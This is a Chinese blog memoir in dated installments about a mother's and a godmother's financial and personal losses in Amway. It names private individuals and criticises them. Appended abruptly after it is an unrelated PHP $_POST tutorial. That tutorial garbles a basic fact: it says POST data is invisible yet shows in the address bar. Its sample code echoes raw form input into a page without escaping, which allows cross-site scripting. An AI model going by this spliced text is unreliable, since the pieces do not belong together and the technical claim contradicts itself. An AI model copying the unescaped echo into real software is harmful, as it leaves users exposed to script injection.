我 写这些也不知道是为什么,是想把自己知道的安利写出来。希望我认识的做安利的朋友多思考,我没有做安利,远离安利 。记得安利里一本很火的书,书名是《远离贫穷》,我认为应该是《远离安利,远离贫穷》。如果我的朋友如果真在安利中成功了,我会发自内心的为他们高兴!但 是我知道他们至今没有一个人在安利中赚到钱,不要说成功了。
========—– 以下内容于 2009-09-03 20:22:43 追加 —–========
二十五
这 是一位网友的留言:“安利,公说公理,婆说婆有理,真实的安利究竟是何物?我很想知道。老婆做安利一年多了,没钱收入,打货用了10多万了。每天还对我洗 脑,要跟着她一起干!那些什么美国亚达城庞大的厂房,那些人大教材里说的完美的销售体系,比尔说过的安利的奖金体系是无可挑剔的,老布什也做安利,还是红 宝石……都是真的吗?听它的产品,听它的OPP,很美好,究竟问题在哪里?死穴在哪里?它在美国\日本\台湾真的如日中天,很多人从事吗?有没有美国的朋 友,了解一下?老婆的领导人有一个去年做到钻石了,用了5年时间,姓张,在深圳。从事过安利的人都有这种认识,可谓深入到骨髓:你自己不成功是因为你自己 不行!并不是因为安利不行!安利的产品和制度是全世界最好的,领先世界5-10年的,无可挑剔的!欢迎从事过安利的人谈谈,不要课也没听过,道听途说的说 法只是乱说而已。求答案。”
对于这位朋友,请相信我,不要让你老婆再做安利了,我会努力抽时间把妈妈的安利写完。距离产生幻觉,不要相信 那些东西。希望你能将我的故事看完,你会明白一切。在太原的安利市场,从2002年至今,没有一位真正的成功者,几乎都是买出来的级别和奖金,翡翠,钻 石,你的爱人一定都很熟悉,但这些都是虚幻的,只有自己知道,如果你是一个善良人,远离安利!!!!如果爱你的老婆,一定要让她离开安利,因为她付出的汗 水甚至泪水不会有任何回报。
========—– 以下内容于 2009-09-03 20:30:41 追加 —–========
二十六
继 续讲妈妈的安利。我在安利中没有为妈妈多做什么事情,我没有部门,我介绍加入安利的朋友都是妈妈的直接部门,因为妈妈的部门越宽,得到的奖金就越多,也越 容易成功。我一个同事,前面提到过,王波,女,因为和自己的领导人合作不愉快,就加入了妈妈的团队,她的销售能力极强,但是进会议的机会不多,因为有孩子 要带,老公不是很支持。我为妈妈介绍的另一个部门是绝对的干将,她是我见过的除妈妈之外的最执着,最有韧性的女人,我甚至感觉到她的执着、毅力、乐观、勤 奋都超过了我的妈妈。
2005年的寒假我终身难忘。2004年发生了太多的事情,我离开了安利,从事MP4市场开拓,走遍山西十一个 地市,寻找地市经销商,2004年末,项目失败。2004年夏天,知道前女友得了甲亢,开始服药,2004年秋末,妈妈知道了女友的病情,与我做了一次长 谈,那个夜晚我痛哭着开车回家。2005年寒假我到了北京,和家里人是说想考察一下北京市场,主要考察耗材。实际是面临着妈妈要求和女友分手的压力,前女 友一切都不知道,那时她已经从太原回到了家乡朔州养病,我心情沉重,在北京其实是一种逃避。
在北京的生活,我与一位我所认识的最坚强的女性和她儿子生活在一起。她的儿子是我的学生,我们象朋友一样。我称呼他妈妈为干妈。
========—– 以下内容于 2009-09-03 20:38:49 追加 —–========
二十七
第 一次见干妈是在2004年的夏天,我们在大同见面,我住在她的家里,当时去大同是为了寻找大同的经销商。干妈的儿子,刘瑞,是我的学生,非常聪明,现在是 北京某影视发行公司执行老总,2005年的时候他在北京中关村销售电脑,干妈在积水潭附近的夜总会做清洁工。记得2004年夏天的时候,在大同干妈的家 里,和干妈就探讨了许多安利的东西,当时我的主要精力是推广MP4,没有时间和精力再从事安利,但对妈妈和干妈的安利事业还是有许多共同的认识和见解。在 几天相处当中,感觉到干妈非常的热情,乐观和执着。
干妈每天8:00就出门了,听刘瑞说干妈是去“扫街”,就是拿着安利的产品示范工具,把一条街 的几乎每一户都拜访一遍,从而产生销售和结交朋友。晚上干妈为我们做好饭,自己简单吃几口,就去安利的会场了,大约12:00多的时候才会回来。我在大同 的那几天,听刘瑞说,他爸爸把自己喜爱的摩托车卖了,和干妈一起打了货。离开大同之后,一直没有见过干妈,直到2005的寒假,在北京见到了干妈。
听 刘瑞给我说过他的家史和干妈的经历,刘瑞的爸爸和干妈原来在大同做了十三年的饭店,家里有一定的积累,后来饭店拆了,刘瑞的爸爸做了发煤的生意,把山西的 煤发到东北,干妈做了医疗器材的生意。刘瑞的爸爸经常要住在东北,在东北常和一个女人住在一起,由于煤的生意总是需要垫资,资金总是周转不过来,刘瑞家逐 渐有了很多外债,但是煤的生意不停,这些债都不是什么大问题。直到刘瑞爸爸生意出问题的时候,刘瑞家有70万的外债,最后一次的煤,量很大,要求很高,中 间环节出了问题,刘瑞爸爸一分钱没有要到。
就在这时候,我给干妈介绍了安利,最后刘瑞爸爸和干妈孤注一掷,竟然把希望压在安利事业上,如果上到钻石,一年的奖金就可以将外债还清。其实最后证明是雪上加霜。
2004 年的时候,干妈又得了糖尿病。刘瑞2004年7月毕业后和我一起从事MP4的生意。干妈在2004年9月多的时候就到了北京,为了躲开要债的人,同时干妈 和刘瑞的爸爸想在北京安利市场作出一番事业来。刘瑞的爸爸和干妈在北京碰到了一个干妈原来的朋友,在丈夫死后改嫁了,还有一套房子也不用,就借给了干妈。 我2005年去的时候就住在这套房子里。家里一切安顿好没有几天,一天早上,刘瑞爸爸出去以后就再也没有回来。干妈给太原的刘瑞打电话,说你爸爸找不到 了。刘瑞担心干妈的糖尿病,就去北京。刚去北京的时候正好赶上黄金周,刘瑞就在积水潭的胡同里拉黑三轮,也能为家里补贴些家用。后来刘瑞在中关村找了一份 电脑销售的工作,这份工作对于他来说很轻松,刘瑞本身对电脑硬件很在行,又有和我一起开发的市场的工作经验,在这个电脑公司里能力突出,后来我也去了,知 道这个公司的老总是冯军的左右手。
========—– 以下内容于 2009-09-03 20:57:05 追加 —–========
二十八
2005的寒假终身难忘,那是一段苦涩的生活,回忆起来却有淡淡的甜味。
那 个寒假,我坐了几个小时的车,然后打车,到了积水潭医院,打公话给刘瑞。我们见面后刘瑞请我吃了永和豆浆,和太原的少有些不一样,然后刘瑞带着我去了积水 潭的胡同里面,在胡同里穿行了一阵,我们到了,进院子不深就是刘瑞和干妈住的地方。印象里,积水潭的胡同里,步行大约20分钟,可以走到新街口。深冬的胡 同,歪脖树,夜晚,雪,和除夕的炮声。就是那一个冬天我的记忆。
干妈家的后窗户就挨胡同,早上总是能从窗口传来收音机的声音,播放着新 闻,后窗户很高,很小,一直关着。一共有三个房间,进屋就是一个小房间,大约3、4平米吧,一个旧的双人沙发,一个80年代流行的旧木茶几,沙发的旁边是 一个小柜子,上面摆着安利的几大类型产品。右手边有两个门,一个是一个大约1.5宽,2米长的小厨房的门,里面是水泥抹好的蜂窝煤火。一个是小洗手间,我 们在这里洗手、洗脸、洗衣服、洗碗。一进房间门右手边是一个小房间,还没有进门那个屋子大,这个小房间,干妈租给了一个保安,河南人,一个月200元。穿 过进门的小屋是一个最大的房间。这个大屋子是我们生活、睡觉,吃饭、看电视、聊天的地方。
我和刘瑞第一天到干妈家的时候,干妈不在,刘瑞 说出去上班了,就在前面不远的夜总会里,做清洁工。到北京的第一天,我和刘瑞长谈了一夜,从MP4市场的失败,到中关村,到刘瑞心仪的女孩,一边聊,一边 吃着花生米,一边喝着芝华士。刘瑞说干妈每次都会带很多好吃的东西回来,我干了多半瓶芝华士呢,后来就开心的睡了,屋子里很冷,全是靠厨房做饭的火来取 暖,这个屋子里有土暖气,但我躺在被窝里,趁着窗外的夜色,能看见自己的哈气的白雾。
========—– 以下内容于 2009-09-03 21:12:16 追加 —–========
二十九
刘 瑞很早就要起来上班,路上骑车要1个小时,公司是8:30上班,他7:30就要出门。出门前他让我多睡会,说干妈估计要8:00多回来。我在被子里也不想 再睡了,因为鼻子冰凉,实在太冷,也不想出被窝,听到门响,以为是干妈,这个人进来直接进小屋了,原来是保安下班了,不知道过了多久,听见干妈的声音“啊 哟,干儿子来了……”。现在想起来干妈,眼睛就湿润了。
干妈在不久的时间里,就积累了不少的北京顾客,基本都是胡同里的,也有了和干妈一 起听安利课的伙伴,和干妈一起在夜总会做清洁工,虽然还不是干妈的部门,但其热情也是很高的。北京太大了,干妈没有多余的钱存货,都是顾客要什么,干妈骑 车去安利公司买什么,这样下来,干妈一个月也可以销售一个3%。干妈下夜班回来要少睡上一会的,我现在印象很深刻的是,干妈从被子里露出的焗成棕黄色的烫 过的头发。
我后来在顶好也找了一家耗材公司上班,在刚到北京前几天的时候,干妈上午还要给我做饭。我记得干妈在我去的第一天,好象是这样 安排的,大约8:00多回来的,开心地和我打了招呼,从茶几下拿出了陈米饭和一些菜,给我做早饭,然后就出去了,说是胡同那边有跳舞的老头老太太们,干妈 出去的时候拿了安利的袋子。11:00多干妈就回来了,买了些菜,我和干妈一起做饭吃。保安起床后,干妈招呼他一起吃饭,他客气的告诉干妈不用了,然后出 去了。吃过饭干妈睡觉了,我洗碗的时候就听见干妈的鼾声。不到两点的时候,干妈的手机响了,然后干妈起来说给一个办公院兼职打扫。还说,有家家政公司会联 系她,给别人家打扫卫生,有个长期打扫的,是个倔老头,北京人太难伺候。晚上7:00多的时候,干妈回来了,说刘瑞每天8:00才能回来呢,然后我们开始 做饭,刘瑞8:00回来了,我们三个人一起吃饭,干妈边夸我们两个儿子,边说自己的钻石梦想。我当时发现干妈在北京没有自己的团队,连介绍人也没有,我有 了让干妈和妈妈一起做安利的想法。因为妈妈当时和北京周欣团队很熟悉,周欣团队在太原的部门就是妈妈他们帮着一起带的,如果干妈加入妈妈的团队,在北京就 有了自己的安利家了。
========—– 以下内容于 2009-09-03 21:17:12 追加 —–========
三十
干 妈走了以后,就是和刘瑞聊天了,我和刘瑞说了我的想法,刘瑞很赞成,后来和刘瑞聊到了他的爸爸,刘瑞说其实来北京前,估计他爸爸就想好要走了,债务的压力 太大。他也知道他爸爸去哪里,干妈也知道,干妈有一次在木须园的车站看见爸爸了,隔着马路,干妈去喊他了,他也听见了,然后消失在人群中。刘瑞说他和干妈 都知道爸爸和谁在一起,就是那个东北的女人,他们现在就在北京,也在做安利。
一个星期天的下午,我和刘瑞都休息,干妈让我们和他一起去给一个北京 的老头打扫家,干妈每天都要过去。今天是老头要求干妈把院门口的蜂窝煤都搬到家里去,正好我们休息,干妈让我们帮忙。我和干妈、刘瑞在胡同里穿来穿去,又 穿过条大马路,又在胡同里穿行,在挺宽的一胡同尽头,就是我们工作的地点了。听干妈说,这个老头可难说话了,老刁难干妈。进了院子,我们就开始干活,这是 个孤寡老人,脚不方便,人长的挺有神,象亮剑。很快我们就搬完了,一块都没有碎,干妈也给他收拾完屋子,老头竟然给到了三杯水,说这是什么协会发的,好 茶。后来听干妈说,老头见了她这两个儿子以后,对她可好了。
除夕的时候,我们好像没有放炮,干妈没有让买,说浪费钱,我也没有心情。 除夕下午的时候,积水潭胡同里的一个市场还开着,刘瑞陪我给家里打电话,我两顺便逛了逛这个市场,本来是买水果蔬菜的,但市场到处都是对联和画,这鸡那鸡 的。我和刘瑞买了幅对联,鸡实在是太贵了,我们买了个小的,能挂在墙上。回到家里,干妈在做饭,我们开始布置过年的气氛,我翻出来几盒安利的金猴礼盒,里 面是三个猴子香皂,可以串起来,当挂饰,我两全给它挂了起来,小屋里还是满有节日气氛的。一边吃饭,一边看电视,餐桌好丰盛的,还有各式各样的饮料,今天 干妈没有走的那么早,和我们一起看了会电视,9:00多才去上的班,现在记得很清楚,郭冬临和牛丽表演的一个小品,是夫妻两,干妈在静静的擦眼泪。
过年的这几天,我和刘瑞都休息,没有什么地方去,就是在家看电视,干妈除了晚上上班,白天也没有什么事情,我们就一起吃小吃,看电视。
在过年的时候我给家里打电话了,把干妈的情况告诉了妈妈,主要是关于干妈的糖尿病的问题,妈妈从陈金柱那里要了一个安利营养品的配方,短信发给我,我建议性地和干妈讲了讲,干妈很开心的说,没事,等上了钻石,全套营养品都吃上。
========—– 以下内容于 2009-09-03 21:28:36 追加 —–========
三十一
干妈就这样成为了我妈妈的部门。第二年妈妈就停止动作安利了。
上 次见干妈是2007年初春的时候了,因为干妈是妈妈的部门,所以太原的大型NDO,干妈在条件允许的情况下,会带着干妈的新朋友来太原参加大会。干妈每次 来都是和妈妈在一起的。这次干妈打来电话以后,妈妈很矛盾,妈妈说不知该如何面对干妈,妈妈的心情我很能理解,原来她们都相互鼓励过,相互帮助过,一起与 朋友沟通,一起销售产品,现在应该说什么呢??安利能做吗??
那次干妈的时间安排的很紧,北京的朋友急着要回去,在太原就待了一天,我和 妈妈为干妈买了些土特产,在会场的楼下等她。会议结束了,妈妈硬着头皮下了车,这些人妈妈太熟悉了,他们是一个战壕的战友,而妈妈现在是一个逃兵。好多人 和妈妈打招呼,我能感受妈妈的尴尬,妈妈把干妈接到这里,言语表达的是姐妹的思念之情和爱怜之情,一直嘱咐干妈千万要注意身体,不能太累,那个病就是怕 累。话语中少了以往两人共有的兴奋和激情。我该和干妈说什么呢?安利现在是干妈拯救家庭、拯救命运的希望,就象当年的妈妈一样,但是现在,我和妈妈该怎么 办呢?我们盼着干妈能够成功,真心的企盼着。直到现在,妈妈都没有勇气告诉干妈自己退出了安利,也许是干妈的执着让妈妈惭愧,记得上次他们通电话,妈妈还 在鼓励干妈努力做,跟紧北京团队的领导,妈妈知道北京的团队是周欣老师的团队,很扎实,基层的销售能力很强。想到干妈,我们很疼。
从 事过安利的朋友也许有我这样的感受,满怀信心的时候,将这样的事业良机兴奋的告诉自己的朋友、亲戚、甚至同事,那种兴奋与激情,很多人是真的,虽然别人无 法理解,但自己能强烈的感受到自己的真情。而离开安利的时候,是无奈,静静的就消失了。再次面对自己团队的朋友,心绪复杂。我现在依然没有勇气对干妈说, 安利不能做,因为我同样在乎干妈付出的一切,干妈付出得太多,我们每个人都付出得太多,也许我扔下可以,妈妈扔下可以,而干妈扔不下。放弃是一种极大的痛 苦,那种痛苦即便是一种从脑海中滑过的意识,也足以令我们惊悚、胆寒,因为我们付出得太多。
========—– 以下内容于 2009-09-03 21:44:46 追加 —–========
三十二
安 利到底会成功吗?我真的不知道,我们抛开什么市场分析、奖金制度分析、前景分析等等来分析。我们依靠经验主义,安利里经常是这样的,你是一个商人,在安利 的成功人士里一定会有一个和你一样的商人,你是一个教师,安利的成功人士里一定会有一个教师,你是一个傻子,安利的成功人事里一定会有一个傻子。所以,任 何人在安利里都有可能成功,你也不例外,一定行的,因为她(他)成功了,你会想,她(他)除了没有我帅之外,确实和我很像啊,但是随着你的安利脚步,你会 发现,成功的安利人士总是在其他团队,和你有直接联系的团队没有一个成功的,毫不夸张的说,一个都没有!!!!!我妈妈的团队就是如此,一个都找不出来, 但妈妈在外团队已经有了成功的光环了。
妈妈的直接领导,李怀民,早就消失了;在往上,谢心安,早就不干了,现在在做其他品牌的直销;谢心 安再往上,张文勇,传说几个汽修厂的老总,开一辆蛋蛋车(太原俗称,微型车),还是分期付款买的;再往上,就是匡大韦,与甄燕离婚后,不做安利,改做其他 品牌直销。甄燕,原来的会场根本不是买的,后在盛世华庭买的精装房全部是贷款。这里面哪一个是成功人士?哪个是你未来的规划??!这些可都是当年太原做安 利的风云人物和传奇人物呵!!通过这些人影响进入安利的岂止上千,但是留下现在还在做的,屈指可数,他们都是被安利精神上套牢的一族,仍在安利的梦幻里苦 苦挣扎,欲罢不能。
有时候这些高高在上的翡翠、钻石们真的是很好笑,从会议的门票,到吃饭的AA,他们能逃是一定要逃的。手机,安利的领 导人里面你很难看到新款的,汽车,几乎全是贷款,房子,租的,一个字,贵!!!!!曹辉,到2007年都没有自己的房子,太忙了,顾不上买;将来主要在国 外居住,国外买了一套,你信吗?曹辉信吗???安利中,如果你能走的越高,说明你的人格越低,也许这样说有些偏激,但我还没有发现例外,妈妈的人际资源损 失无法估量。更不用说5年多直接消耗的几十万元现金。安利真的是一座虚伪、谎言累积起来的可笑的金字塔,善良的人们在塔底,把自己的善良、尊严、诚实、人 格一件件的扔上去,血肉模糊的向塔顶爬去,有些人露着白骨,在无奈的笑。
这就是我妈妈,一个心地善良、无私、勤奋,非常有韧性的女性5年安利经历的人和事。对所有要从事安利的朋友,你真的看了之后,一定要认真地去思考,是否需要走过同样的安利生涯。
$_POST 变量用于收集来自 method=”post” 的表单中的值。
$_POST 变量是一个数组,内容是由 HTTP POST 方法发送的变量名称和值。
$_POST 变量用于收集来自 method=”post” 的表单中的值。从带有 POST 方法的表单发送的信息,对任何人都是不可见的(会显示在浏览器的地址栏),并且对发送信息的量也没有限制。
<form action="welcome.php" method="post">
Enter your name: <input type="text" name="name" />
Enter your age: <input type="text" name="age" />
<input type="submit" />
</form>
当用户点击提交按钮,URL 不会含有任何表单数据,看上去类似这样:
http://www.w3school.com.cn/welcome.php
“welcome.php” 文件现在可以通过 $_POST 变量来获取表单数据了(请注意,表单域的名称会自动成为 $_POST 数组中的 ID 键):
Welcome <?php echo$_POST["name"]; ?>.<br /> You are <?php echo$_POST["age"]; ?> years old!
不过,由于变量不显示在 URL 中,所有无法把页面加入书签。
PHP 的 $_REQUEST 变量包含了 $_GET, $_POST 以及 $_COOKIE 的内容。
PHP 的 $_REQUEST 变量可用来取得通过 GET 和 POST 方法发送的表单数据的结果。
Welcome <?php echo $_REQUEST["name"]; ?>.<br /> You are <?php echo $_REQUEST["age"]; ?> years old!